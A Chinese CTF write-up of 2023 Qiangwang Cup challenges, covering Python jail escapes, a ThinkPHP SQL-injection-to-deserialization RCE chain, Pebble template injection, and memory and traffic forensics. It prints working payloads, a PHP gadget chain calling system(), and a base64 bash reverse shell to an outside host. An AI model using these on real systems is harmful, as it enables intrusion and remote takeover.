2023强网杯
考完期末了有空更一下wp
MISC
Pyjail ! It's myFILTER !!!
环境搭建
1 2 3 4 5 6 docker pull ubuntu: 20.04 docker run -it -v /mnt/c/Users /ddd/Desktop /2023 qwb/misc/myFILTER: /pyjail ubuntu: 20.04 root@61c25569e99f :/ root@61c25569e99f :/pyjail root@61c25569e99f :/pyjail root@61c25569e99f :/pyjail
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import code, os, subprocess import pty def blacklist_fun_callback(*args): print ("Player! It's already banned!" ) pty.spawn = blacklist_fun_callback os.system = blacklist_fun_callback os.popen = blacklist_fun_callback subprocess.Popen = blacklist_fun_callback subprocess.call = blacklist_fun_callback code.interacet = blacklist_fun_callback code.compile_command = blacklist_fun_callback vars = blacklist_fun_callback attr = blacklist_fun_callbackdir = blacklist_fun_callback getattr = blacklist_fun_callbackexec = blacklist_fun_callback __import__ = blacklist_fun_callback compile = blacklist_fun_callback breakpoint = blacklist_fun_callback del os, subprocess, code, pty, blacklist_fun_callback input_code = input("Can u input your code to escape > " ) blacklist_words = [ "subprocess" , "os" , "code" , "interact" , "pty" , "pdb" , "platform" , "importlib" , "timeit" , "imp" , "commands" , "popen" , "load_module" , "spawn" , "system" , "/bin/sh" , "/bin/bash" , "flag" , "eval" , "exec" , "compile" , "input" , "vars" , "attr" , "dir" , "getattr" "__import__" , "__builtins__" , "__getattribute__" , "__class__" , "__base__" , "__subclasses__" , "__getitem__" , "__self__" , "__globals__" , "__init__" , "__name__" , "__dict__" , "._module" , "builtins" , "breakpoint" , "import" , ] def my_filter(input_code): for x in blacklist_words: if x in input_code: return False return Truewhile '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65: input_code = eval (f"f'{input_code}'" )else : print ("Player! Pleas.e obey the filter rules which I set!" )
两层f,payload前面加个{}
open没有过滤,环境变量的flag没删除
{print(open("/proc/self/environ").read())}
img
Pyjail ! It's myRevenge !!!
跟前面差不多,删除了环境变量,删掉了pty库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import code, os, subprocess def blacklist_fun_callback(*args): print ("Player! It's already banned!" ) os.system = blacklist_fun_callback os.popen = blacklist_fun_callback subprocess.Popen = blacklist_fun_callback subprocess.call = blacklist_fun_callback code.interact = blacklist_fun_callback code.compile_command = blacklist_fun_callback vars = blacklist_fun_callback attr = blacklist_fun_callbackdir = blacklist_fun_callback getattr = blacklist_fun_callbackexec = blacklist_fun_callback __import__ = blacklist_fun_callback compile = blacklist_fun_callback breakpoint = blacklist_fun_callback del os, subprocess, code, blacklist_fun_callback input_code = input("Can u input your code to escape > " ) blacklist_words_var_name_fake_in_local_real_in_remote = [ "subprocess" , "os" , "code" , "interact" , "pty" , "pdb" , "platform" , "importlib" , "timeit" , "imp" , "commands" , "popen" , "load_module" , "spawn" , "system" , "/bin/sh" , "/bin/bash" , "flag" , "eval" , "exec" , "compile" , "input" , "vars" , "attr" , "dir" , "getattr" "__import__" , "__builtins__" , "__getattribute__" , "__class__" , "__base__" , "__subclasses__" , "__getitem__" , "__self__" , "__globals__" , "__init__" , "__name__" , "__dict__" , "._module" , "builtins" , "breakpoint" , "import" , ] def my_filter(input_code): for x in blacklist_words_var_name_fake_in_local_real_in_remote: if x in input_code: print (x) return False return Truewhile '{' in input_code and '}' in input_code and input_code.isascii() and my_filter( input_code) and "eval" not in input_code and len(input_code) < 65: input_code = eval (f"f'{input_code}'" ) print (input_code)else : print ("Player! Please obey the filter rules which I set!" )
有很多个思路,这里给出几个
写读文件的命令到1,执行1写入2,读取2(这种好像不行)
清除blacklist/覆盖filter函数,然后继续input
写入code/os/subprocess模块为恶意文件,题目import
code后直接调用读flag
1 2 3 4 5 6 7 8 {open("1" , "a" ).write("im" )} {open("1" , "a+" ).write("port" )} {open("1" , "a+" ).write(" o" )} {open("1" , "a+" ).write("s;o" )} {open("1" , "a+" ).write("s.syste" )} {open("1" , "a+" ).write("m(" +chr(34)+"cat f* > 2" +chr(34)+")" )} {open("co" +"de.py" ,"w" ).write(open("1" ).read ())} {print (open("2" , "r" ).read ())}
img
easyfuzz
不懂给了个附件有什么用,纯脑洞题
爆破9位
前两位可以为任意数,返回110000000
然后后面像glob协议一样逐位爆破数字+大小写字母
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import stringimport itertools ip = "101.200.122.251" port = 12177 context(log_level="debug" ) io = remote(ip, port) charset = string.digits + string.ascii_lettersdef send_payload (payload ): io.recvuntil("Enter a string (should be less than 10 bytes): " ) io.sendline(payload) return io.recvline()[-10 :-1 ]def brute_force (): password = ['0' ] * 9 for i in range (9 ): for char in charset: password[i] = char payload = "" .join(password) response = send_payload(payload) if response[i] == 49 : break return "" .join(password) result = brute_force()print (f"Found password: {result} " ) io.interactive()
谍影重重2.0
xxxxxxxxxx x = ''with open('qd.txt','r') as f: aa = f.readlines()
for i in aa: x +=
chr(len(i)-1)print(x)#flag{ISEC-eF8x2Bv1viw9eFvagivx0Ynv3jlai0vL}Python
格式为flag{md5(ICAO CODE of the fastest plane)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构,切勿当真
ADS-B
tshark -r attach.pcapng -T fields -e "tcp.payload" > payload.txt
https://github.com/junzis/pyModeS
1 2 3 4 5 6 7 8 import pyModeS as pms with open('payload.txt' ) as f: res = f.read().split ()for i in res: if len(i) == 46: pms.tell(i[18:])
img
img
flag为md5('79a05e')
更多可以参考https://www.cnblogs.com/lynnzixing/p/17912999.html
谍影重重3.0
小明被我国抓获之后对所作所为供认不讳,在对他个人电脑监控的过程中,发现存在通过特殊隧道获取境外组织下发的任务文件,请你协助分析出他所获取到的任务文件名称。
flag提交格式为flag{md5(文件名)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构内容,如有雷同,切勿当真!
纸飞机、境外 -> shadowsocks
参考: https://phuker.github.io/posts/shadowsocks-active-probing.html
https://github.com/shadowsocks/shadowsocks/blob/master/shadowsocks/cryptor.py
需要爆破密钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import hashlib from Crypto.Cipher import AES def EVP_BytesToKey(password, key_len, iv_len): if hasattr(password, 'encode' ): password = password.encode('utf-8' ) m = [] i = 0 while len(b'' .join (m)) < (key_len + iv_len): md5 = hashlib.md5() data = password if i > 0: data = m[i - 1] + password md5.update(data) m.append(md5.digest()) i += 1 ms = b'' .join (m) key = ms[:key_len] iv = ms[key_len:key_len + iv_len] return key, iv def decrypt(cipher,password): key_len = int(256/8) iv_len = 16 key, _ = EVP_BytesToKey(password, key_len, iv_len) cipher = bytes.fromhex(cipher) iv = cipher[:iv_len] real_cipher = cipher[iv_len:] obj = AES.new(key, AES.MODE_CFB, iv, segment_size=128) plain = obj.decrypt(real_cipher) return plain req_cipher = '' res_cipher = '' with open('password.txt' ,'r' ) as f: passwords = f.readlines()for password in passwords: password.strip('\n' ) req_plain = decrypt(req_cipher,password) res_plain = decrypt(res_cipher,password) if b'HTTP' in req_plain: print (f"password:{password}" ,f"\nreq_plain:{req_plain}" ,f"\nres_plain:{res_plain}" )
img
flag为md5('Why-do-you-want-to-know-what-this-is')
WEB
happygame
nc返回一些字节,然后可以输入,返回
HTTP/2 client preface string missing or corrupt. Hex dump for received bytes`` xxx
搜索一下发现是grpc服务
img
grpcui本地启动,ProcessMsg方法有参数serializeData
java反序列化cc链,目前见过可以的有cc1、6、7
thinkshop
按照题目本地起一个docker
1 2 docker load < thinkshop.tar docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop
thinkphp5.0.23,目录结构如下
img
Admin.php有登录功能
根目录下有shop.sql
1 2 3 4 INSERT INTO `admin` VALUES (1 , 'admin' , 'e10adc3949ba59abbe56e057f20f883e' );
img
正常应该是admin;123456登录,但是传入的username直接放到了find方法的参数中
thinkphp5.x在find有参数的情况下,默认会去找数据表中的主键列,所以这里使用1;123456登录后台
定位到application/index/view/admin/goods_edit.html
将data数据反序列化,可以打tp5的反序列化链rce
img
Admin.php的do_edit方法,将data传入saveGood处理
img
跟进,传到updatedata
img
Update.php,从数据库里读数据,value限制得很死,但是这里注意到key是没有过滤的,可以sql注入
img
理清一下思路,key注入将序列化的数据传入数据库,读取再反序列化造成rce
1 id=3&name=ls&price=5.00&on_sale_time=2023-12-15T12%3A45&image=a&data`%3d%27 {payload} %27%09where%09`id`%3d1%23a=1&data=aaa
网上找的tp5.1链子,这里注意加上array(序列化有markdownToArray函数,getGoodsbyId函数检测YTo
前缀)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 <?php namespace think \process \pipes { use think \model \Pivot ; ini_set ('display_errors' ,1 ); class Windows { private $files = []; public function __construct ($function ,$parameter ) { $this ->files = [new Pivot ($function ,$parameter )]; } } $aaa = new Windows ('system' ,'ls' ); echo base64_encode (serialize (array ($aaa ))); }namespace think { abstract class Model {} }namespace think \model { use think \Model ; use think \console \Output ; class Pivot extends Model { protected $append = []; protected $error ; public $parent ; public function __construct ($function ,$parameter ) { $this ->append['jelly' ] = 'getError' ; $this ->error = new relation\BelongsTo ($function ,$parameter ); $this ->parent = new Output ($function ,$parameter ); } } abstract class Relation {} }namespace think \model \relation { use think \db \Query ; use think \model \Relation ; abstract class OneToOne extends Relation {} class BelongsTo extends OneToOne { protected $selfRelation ; protected $query ; protected $bindAttr = []; public function __construct ($function ,$parameter ) { $this ->selfRelation = false ; $this ->query = new Query ($function ,$parameter ); $this ->bindAttr = ['' ]; } } }namespace think \db { use think \console \Output ; class Query { protected $model ; public function __construct ($function ,$parameter ) { $this ->model = new Output ($function ,$parameter ); } } }namespace think \console { use think \session \driver \Memcache ; class Output { protected $styles = []; private $handle ; public function __construct ($function ,$parameter ) { $this ->styles = ['getAttr' ]; $this ->handle = new Memcache ($function ,$parameter ); } } }namespace think \session \driver { use think \cache \driver \Memcached ; class Memcache { protected $handler = null ; protected $config = [ 'expire' => '' , 'session_name' => '' , ]; public function __construct ($function ,$parameter ) { $this ->handler = new Memcached ($function ,$parameter ); } } }namespace think \cache \driver { use think \Request ; class Memcached { protected $handler ; protected $options = []; protected $tag ; public function __construct ($function ,$parameter ) { $this ->options = ['prefix' => 'jelly/' ]; $this ->tag = true ; $this ->handler = new Request ($function ,$parameter ); } } }namespace think { class Request { protected $get = []; protected $filter ; public function __construct ($function ,$parameter ) { $this ->filter = $function ; $this ->get = ["jelly" =>$parameter ]; } } }
img
img
强网先锋
找到PNG了吗
vol打不开,010打开文件头为EMiL
,linux镜像,banner看对应操作系统
img
根据Ubuntu版本制作对应的profile
1 2 3 4 5 root@ubuntu:/home/ddd/Desktop/volatility-master# python vol.py -f ../1.mem --profile=LinuxUbuntux64 linux_banner Volatility Foundation Volatility Framework 2.6.1 WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes Linux version 5.4.0-100-generic (buildd@lcy02-amd64-002) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 (Ubuntu 5.4.0-100.113-generic 5.4.166)
lsof找到桌面上的文件have_your_fun.jocker
1 2 3 4 5 6 root@ubuntu:/home/ddd/Desktop/volatility-master# python vol.py -f ../1.mem --profile=LinuxUbuntux64 linux_lsof | grep "Desktop" Volatility Foundation Volatility Framework 2.6.1 WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes 0xffff9ce2af3cc680 bash 2158 4 /home/yuren/Desktop/have_your_fun.jocker 0xffff9ce2bac09780 insmod 2170 3 /home/yuren/Desktop/LiME/src/lime-5.4.0-100-generic.ko
尝试导出,结果为空
在010中找have_your_fun.jocker
,找到加密脚本
加密文件,两次rc4,两个密钥都给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #define SERVER_IP "192.168.6.1" #define SERVER_PORT 110 unsigned char buff[20000 ];void swap (char * a, char * b) { char temp = *a; *a = *b; *b = temp; }void rc4_encrypt_decrypt (unsigned char * key, unsigned char * data, int data_length) { int i, j = 0 , t; int s[256 ]; int key_length = strlen ((const char *)key); for (i = 0 ; i < 256 ; i++) { s[i] = i; } for (i = 0 ; i < 256 ; i++) { j = (j + s[i] + key[i % key_length]) % 256 ; t = s[i]; s[i] = s[j]; s[j] = t; } i = j = 0 ; for (int k = 0 ; k < data_length; k++) { i = (i + 1 ) % 256 ; j = (j + s[i]) % 256 ; t = s[i]; s[i] = s[j]; s[j] = t; data[k] ^= s[(s[i] + s[j]) % 256 ]; } }int main () { int clientSocket = socket (AF_INET, SOCK_STREAM, 0 ); if (clientSocket == -1 ) { printf ("socket failed!\n" ); return 1 ; } struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons (SERVER_PORT); serverAddr.sin_addr.s_addr = inet_addr (SERVER_IP); connect (clientSocket, (struct sockaddr*)&serverAddr, sizeof (serverAddr)); int result = recv (clientSocket, buff, sizeof (buff), 0 ); int a=0 ; char q[10 ]; unsigned char key[]="do_not_care" ; unsigned char key2[] = "where_is_the_key" ; FILE* file = fopen ("have_your_fun.jocker" , "wb" ); if (file == NULL ) { printf ("open file failed!\n" ); return 1 ; } unsigned char *str; str = (char *) malloc (20000 ); memcpy (str, buff, 20000 );rc4_encrypt_decrypt (key2, str, 20000 ); printf ("please give me the key of fun:" ); scanf ("%s" ,q); rc4_encrypt_decrypt (key, str, 20000 ); fwrite (buff, 1 , 20000 , file); printf ("maybe you go wrong" ); fclose (file); close (clientSocket); return 0 ; }
题目要png,用png头加密两次rc4,得到
根据文件头尾找到加密的png
img
再两次rc4得到png
img
得到flag
img
hello spring
题目给的jar包和远程不一样
然后根据配置文件和源码return "home";
写一个home.pebble
放在/tmp
目录下,作为模板文件
img
img
本地搭好环境之后是这样的
img
pom.xml看到pebble组件版本为3.1.5
img
可以搜索到https://github.com/Y4tacker/Web-Security/issues/3?cve=title
vps上写1.xml,弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE4NC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}</value > </list > </constructor-arg > </bean > </beans >
poc
1 2 3 4 5 {% set y= beans.get ("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory" ).resourceLoader .classLoader .loadClass ("java.beans.Beans" ) %} {% set yy = beans.get ("jacksonObjectMapper" ).readValue ("{}" , y) %} {% set yyy = yy.instantiate (null ,"org.springframework.context.support.ClassPathXmlApplicationContext" ) %} {{ yyy.setConfigLocation ("http://vps:port/1.xml" ) }} {{ yyy.refresh () }}
这里注意时间
img
img
本地是加了8小时(实际上好像不用加)
img
然后访问?x=file_20231227_230625
弹shell
远程还有一个filter但是jar包里没给
img
实际黑名单过滤了
1 org.springframework.context.support.ClassPathXmlApplicationContext
可以字符串拼接绕过
1 org.springframework.context."+"support.ClassPathXmlApplicationContext
或者用第二种方法
https://blog.arkark.dev/2022/08/01/uiuctf/
先传一个evil.pebble
需要修改一下Prefix和Suffix
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 {% set accessValidatorClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("com.mitchellbosecke.pebble.attributes.methodaccess.NoOpMethodAccessValidator") %} {% set accessValidator = beans.get("jacksonObjectMapper").readValue("{}", accessValidatorClass) %} {% set builderClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("com.mitchellbosecke.pebble.PebbleEngine$Builder") %} {% set builder = beans.get("jacksonObjectMapper").readValue("{}", builderClass) %} {% set engine = builder.methodAccessValidator(accessValidator).build() %} {% set loader = engine.getLoader() %} {{ loader.setPrefix("/tmp") }} {{ loader.setSuffix("pebble") }} {% set rceFileName = request.getParameter("rceFileName") %} {% set template = engine.getTemplate(rceFileName) %} {{ template.evaluate(response.getWriter()) }}
然后再传一个模板
1 2 {% set cmd = 'xxx'.split(";") %} {{ (1).TYPE.forName("java.lang.Runtime").methods[0].invoke(null, null).exec(cmd) }}
然后加载模板